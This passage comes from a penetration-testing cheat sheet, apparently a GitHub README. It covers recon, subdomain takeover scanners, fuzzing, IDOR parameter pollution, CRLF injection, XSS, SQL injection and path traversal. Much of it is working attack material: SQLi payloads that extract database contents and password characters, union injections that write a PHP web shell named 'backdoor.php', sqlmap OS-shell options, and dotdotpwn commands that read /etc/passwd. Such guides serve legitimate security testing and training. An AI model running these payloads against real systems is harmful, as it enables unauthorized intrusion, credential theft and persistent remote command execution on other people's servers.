keytool -printcert -rfc -sslserver somesite.com > keytool_results.txt
openssl x509 -noout -text -in keytool_results.txt
Use uncover with Shodan and Censys SSL/TLS Dorks to find more in-scope subdomains.
uncover
Installation:
go install -v github.com/projectdiscovery/uncover/cmd/uncover@latest
Set your API keys in /root/.config/uncover/provider-config.yaml as following:
shodan:
- SHODANAPIKEY
censys:
- CENSYSAPIID:CENSYSAPISECRET
Gather IPs based on the SSL/TLS certificate subject common name (CN):
uncover -json -o uncovercertshodan_results.json -l 100 -e shodan -q 'ssl.cert.subject.CN:"*.somedomain.com"'
uncover -json -o uncovercertcensysresults.json -l 100 -e censys -q 'cert.parsed.subject.commonname:"*.somedomain.com"'
3. Vulnerability Assesment/Exploiting
Always try the null session login, i.e., no password login, or search the Internet for default credentials for a specific web application.
Try to manipulate cookies or JWT tokens to gain access or elevate privileges. On logout, always check if any of the cookies or JWT tokens are still valid.
Always inspect web browser's local storage, especially if testing a single-page application (SPA).
Try to transform, e.g., an HTTP POST request into an HTTP GET request, i.e., into a query string, and see how a server will react to it.
Turn off JavaScript in your web browser and check the web application behaviour again.
Check the web application behaviour on a mobile device as some features might work differently. Try spoofing your User-Agent or try to visiting m.somesite.com.
If you want to automate your code injection testing, check the Wordlists sub-section for code injection wordlists. Some of the wordlists also include obfuscated code injections.
If you see any amounts or quantities, try to use danielmiessler/SecLists/tree/master/Fuzzing/Amounts wordlist as it might cause unintended behavior, errors, or even bypass the minimum and maximum boundaries.
Don't forget to clean up after yourself. Remove all the created artifacts, incl. malware, exploits, tools, scripts, etc., and revert all the settings and changes from a target host after you are done testing.
3.1 Useful Websites
- cvedetails.com
- exploit-db.com
- cxsecurity.com
- hakluke/weaponised-XSS-payloads
- namecheap.com - buy domains for cheap
- streaak/keyhacks - validate API keys
- swisskyrepo/PayloadsAllTheThings
- jwt.io
- portswigger.net/web-security
- bigiamchallenge.com - nice AWS CTF
Collaborator Servers
Used when trying to exploit an open redirect, blind cross-site scripting (XSS), DNS and HTTP interactions, etc.
Subdomain Takeover
Gather as much information as you can for a specified target, see how in 1. Reconnaissance.
Gather organization names with WHOIS, and canonical names with host.
You can double check if subdomains are dead with dig or alive and httpx.
Check if hosting providers for the found subdomains are vulnerable to subdomain takeover at EdOverflow/can-i-take-over-xyz. Credits to the author!
Biggest cloud service providers:
Subzy
Installation:
go install -v github.com/lukasikic/subzy@latest
Check for subdomains takeover:
subzy -concurrency 100 -timeout 3 -targets subdomainserrors.txt | tee subzyresults.txt
subjack
Installation:
go install -v github.com/haccer/subjack@latest
Check for subdomains takeover:
subjack -v -o subjackresults.json -t 100 -timeout 3 -a -m -w subdomainserrors.txt
Bypassing the 401 and 403
Find out how to bypass 4xx HTTP response status codes in my project at ivan-sincek/forbidden.
Nikto
Scan a web server:
nikto -output nikto_results.txt -h somesite.com -p 80
WPScan
Scan a WordPress website:
wpscan -o wpscan_results.txt --url somesite.com
Nuclei
Installation and updating:
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
nuclei -up && nuclei -ut
Vulnerability scan, all templates:
nuclei -c 500 -o nucleiresults.txt -l subdomainslivelong2xx_4xx.txt
cat nucleiresults.txt | grep -Po '(?<=\]\ ).+' | sort -uf > nucleisorted_results.txt
Only subdomain takeover:
nuclei -c 500 -t takeovers -o nucleitakeoverresults.txt -l subdomains_live.txt
Arjun
Discover request parameters:
arjun --stable -oT arjunresults.txt -oJ arjunresults.json -T 3 -t 5 --passive -m GET -u https://somesite.com
arjun --stable -oT arjunresults.txt -oJ arjunresults.json -T 3 -t 5 --passive -m GET -i subdomainslivelong_2xx.txt
WFUZZ
Fuzz directories:
wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X GET -u https://somesite.com/WFUZZ -w directory-list-lowercase-2.3-medium.txt
Fuzz parameter values:
wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X GET -u "https://somesite.com/someapi?someparam=WFUZZ" -w somewordlist.txt
wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X POST -H "Content-Type: application/x-www-form-urlencoded" -u "https://somesite.com/someapi" -d "someparam=WFUZZ" -w somewordlist.txt
wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X POST -H "Content-Type: application/json" -u "https://somesite.com/someapi" -d "{\"someparam\": \"WFUZZ\"}" -w somewordlist.txt
Fuzz parameters:
wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X GET -u "https://somesite.com/someapi?WFUZZ=somevalue" -w somewordlist.txt
wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X POST -H "Content-Type: application/x-www-form-urlencoded" -u "https://somesite.com/someapi" -d "WFUZZ=somevalue" -w somewordlist.txt
wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X POST -H "Content-Type: application/json" -u "https://somesite.com/someapi" -d "{\"WFUZZ\": \"somevalue\"}" -w somewordlist.txt
Additional example, internal SSRF fuzzing:
wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X GET -u "https://somesite.com/someapi?url=127.0.0.1:WFUZZ" -w ports.txt
wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X GET -u "https://somesite.com/someapi?url=WFUZZ:80" -w ips.txt
| Option | Description | | --- | --- | | -f | Store results in the output file | | -t | Specify the number of concurrent connections (10 default) | | -s | Specify time delay between requests (0 default) | | -u | Specify a URL for the request | | -w | Specify a wordlist file | | -X | Specify an HTTP method for the request, i.e., HEAD or FUZZ | | -b | Specify a cookie for the requests | | -d | Use post data | | -H | Use header | | --hc/--hl/--hw/--hh | Hide responses with the specified code/lines/words/chars | | --sc/--sl/--sw/--sh| Show responses with the specified code/lines/words/chars | | --ss/--hs| Show/hide responses with the specified regex within the content |
Insecure Direct Object Reference (IDOR)
First, try to simply change one value to another, e.g., change victim@gmail.com to hacker@gmail.com, change some ID from 1 to 2, etc.
It is likely that lower number IDs will relate to some higher privilege accounts or roles.
Second, try parameter pollution:
"email":"hacker@gmail.com,victim@gmail.com"
"email":"hacker@gmail.com victim@gmail.com"
"email":"hacker@gmail.com","email":"victim@gmail.com"
"email":"victim@gmail.com,hacker@gmail.com"
"email":"victim@gmail.com hacker@gmail.com"
"email":"victim@gmail.com","email":"hacker@gmail.com"
"email":("hacker@gmail.com","victim@gmail.com")
"email":["hacker@gmail.com","victim@gmail.com"]
"email":{"hacker@gmail.com","victim@gmail.com"}
"email":("victim@gmail.com","hacker@gmail.com")
"email":["victim@gmail.com","hacker@gmail.com"]
"email":{"victim@gmail.com","hacker@gmail.com"}
email=hacker%40gmail.com,victim%40gmail.com
email=hacker%40gmail.com%20victim%40gmail.com
email=hacker%40gmail.com&email=victim%40gmail.com
email[]=hacker%40gmail.com&email[]=victim%40gmail.com
email=victim%40gmail.com,hacker%40gmail.com
email=victim%40gmail.com%20hacker%40gmail.com
email=victim%40gmail.com&email=hacker%40gmail.com
email[]=victim%40gmail.com&email[]=hacker%40gmail.com
To generate the above output, run param_pollution.py:
python3 param_pollution.py -n email -i victim@gmail.com -t hacker@gmail.com
HTTP Response Splitting
Also known as CRLF injection. CRLF refers to carriage return (ASCII 13, \r) and line feed (ASCII 10, \n).
When encoded, \r refers to %0D and \n refers to %0A.
Fixate a session cookie:
somesite.com/redirect.asp?origin=somesite.com%0D%0ASet-Cookie:%20ASPSESSION=123456789
Open redirect:
somesite.com/home.php?marketing=winter%0D%0ALocation:%20https%3A%2F%2Fgithub.com
Session fixation and open redirection are one of many techniques used in combination with HTTP response splitting. Search the Internet for more techniques.
Cross-Site Scripting (XSS)
Simple cross-site scripting (XSS) payloads:
<img src="https://github.com/favicon.ico" >
Hosting JavaScript on Pastebin won't work because Pastebin always returns text/plain content type.
Find out more about reflected and stored cross-site scripting (XSS) attacks, as well as cross-site request forgery (XSRF/CSRF) attacks in my project at ivan-sincek/xss-catcher.
Valid RFC emails with embedded XSS:
user+()@somedomain.com
user@somedomain().com
""@somedomain.com
SQL Injection
The following payloads were tested on MySQL database. Note that MySQL requires a whitespace character between the comment symbol and the next character.
If you need to URL encode the whitespace character, use %20 or + instead.
Try to produce database errors by injecting a single-quote, back-slash, double-hyphen, forward-slash, or period.
Always make sure to properly close the surrounding code.
Read this OWASP article to learn how to bypass WAF.
Boolean-based SQLi:
' OR 1=1--
' OR 1=2--
Union-based SQLi:
' UNION SELECT 1,2,3,4--
' UNION SELECT NULL,NULL,NULL,NULL--
' UNION SELECT 1,concatws('|',database(),currentuser(),version()),3,4--
' UNION SELECT 1,concatws('|',tableschema,tablename,columnname,datatype,charactermaximumlength),3,4 FROM informationschema.columns--
' UNION SELECT 1,load_file('..\\..\\apache\\conf\\httpd.conf'),3,4--
If using, e.g., 1,2,3,4 does not work, try using NULL,NULL,NULL,NULL respectively.
Use the union-based SQLi only when you are able to use the same communication channel to both launch the attack and gather results.
The goal is to determine the exact number of columns in the SQL query and to figure out which of them are shown back to the user.
Another way to determine the exact number of columns is by using, e.g., ' ORDER BY 1-- , where 1 is the column number used for sorting - incrementing it by one on each try.
Time-based SQLi:
' AND (SELECT 1 FROM (SELECT sleep(2)) test)--
' AND (SELECT 1 FROM (SELECT CASE user() WHEN 'root@127.0.0.1' THEN sleep(2) ELSE sleep(0) END) test)--
' AND (SELECT 1 FROM (SELECT CASE substring(current_user(),1,1) WHEN 'r' THEN sleep(2) ELSE sleep(0) END) test)--
' AND (SELECT CASE substring(password,1,1) WHEN '$' THEN sleep(2) ELSE sleep(0) END FROM users WHERE id = 1)--
' AND IF(version() LIKE '5%',sleep(2),sleep(0))--
Use the time-based SQLi when you are not able to see the results.
Check for the existance/correctness:
' AND (SELECT 'exists' FROM users) = 'exists
' AND (SELECT 'exists' FROM users WHERE username = 'administrator') = 'exists
' AND (SELECT 'correct' FROM users WHERE username = 'administrator' AND length(password) < 8 ) = 'correct
' AND (SELECT CASE substring(password,1,1) WHEN '$' THEN to_char(1/0) ELSE 'correct' END FROM users WHERE username = 'administrator') = 'correct
'||(SELECT CASE substring(password,1,1) WHEN '$' THEN to_char(1/0) ELSE '' END FROM users WHERE username = 'administrator')||'
Inject a simple PHP web shell based on HTTP GET request:
' UNION SELECT '', '', '', '<?php if(isset($GET["command"])){echo shellexec($_GET["command"]);} ?>' INTO DUMPFILE '..\\..\\htdocs\\backdoor.php'--
' UNION SELECT '', '', '', '<?php $p="command";$o=null;if(isset($SERVER["REQUESTMETHOD"])&&strtolower($SERVER["REQUESTMETHOD"])==="get"&&isset($GET[$p])&&($GET[$p]=trim($GET[$p]))&&strlen($GET[$p])>0){$o=@shellexec("($GET[$p]) 2>&1");if($o===false){$o="ERROR: The function might be disabled.";}else{$o=strreplace("<","<",$o);$o=strreplace(">",">",$o);}} ?><!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><title>Simple PHP Web Shell</title><meta name="author" c><meta name="viewport" c></head><body><pre><?php echo $o;unset($o);unset($_GET[$p]); ?></pre></body></html>' INTO DUMPFILE '..\\..\\htdocs\\backdoor.php'--
To successfully inject a web shell, the current database user must have a write permission.
sqlmap
Inject SQL code into request parameters:
sqlmap -a -u somesite.com/index.php?username=test&password=test
sqlmap -a -u somesite.com/index.php --data username=test&password=test
sqlmap -a -u somesite.com/index.php --data username=test&password=test -p password
| Option | Description | | --- | --- | | -u | Target URL | | -H | Extra HTTP header | | --data | Data string to be sent through POST | | --cookie | HTTP Cookie header value | | --proxy | Use a proxy to connect to the target URL (\[protocol://\]host\[:port\]) | | -p | Testable parameter(s) | | --level | Level of tests to perform (1-5, default: 1) | | --risk | Risk of tests to perform (1-3, default: 1) | | -a | Retrieve everything | | -b | Retrieve DBMS banner | | --dump-all | Dump all DBMS databases tables entries | | --os-shell | Prompt for an interactive operating system shell | | --os-pwn | Prompt for an OOB shell, Meterpreter, or VNC | | --sqlmap-shell | Prompt for an interactive sqlmap shell | | --wizard | Simple wizard interface for beginner users | | --dbms | To do. |
dotdotpwn
Traverse a path (e.g., somesite.com/../../../etc/passwd):
dotdotpwn -q -m http -S -o windows -f /windows/win.ini -k mci -h somesite.com
dotdotpwn -q -m http -o unix -f /etc/passwd -k root -h somesite.com
dotdotpwn -q -m http-url -o unix -f /etc/hosts -k localhost -u 'https://somesite.com/index.php?file=TRAVERSAL'
Try to prepend a protocol such as file://, gopher://, dict://, php://, jar://, ftp://, tftp://, etc., to the file path; e.g, file://TRAVERSAL.
Check some additional directory traversal tips at swisskyrepo/PayloadsAllTheThings. Credits to the author!
| Option | Description | | --- | --- | | -m | Module (http, http-url, ftp, tftp payload, stdout) | | -h | Hostname | | -O | Operating System detection for intelligent fuzzing (nmap) | | -o | Operating System type if known ("windows", "unix", or "generic") | | -d | Depth of traversals (default: 6) | | -f | Specific filename (default: according to OS detected) | | -S | Use SSL for HTTP and Payload module (not needed for http-url) | | -u | URL with the part to be fuzzed marked as TRAVERSAL | | -k | Text pattern to match in the response | | -p | Filename with the payload to be sent and the part to be fuzze
README truncated. View on GitHub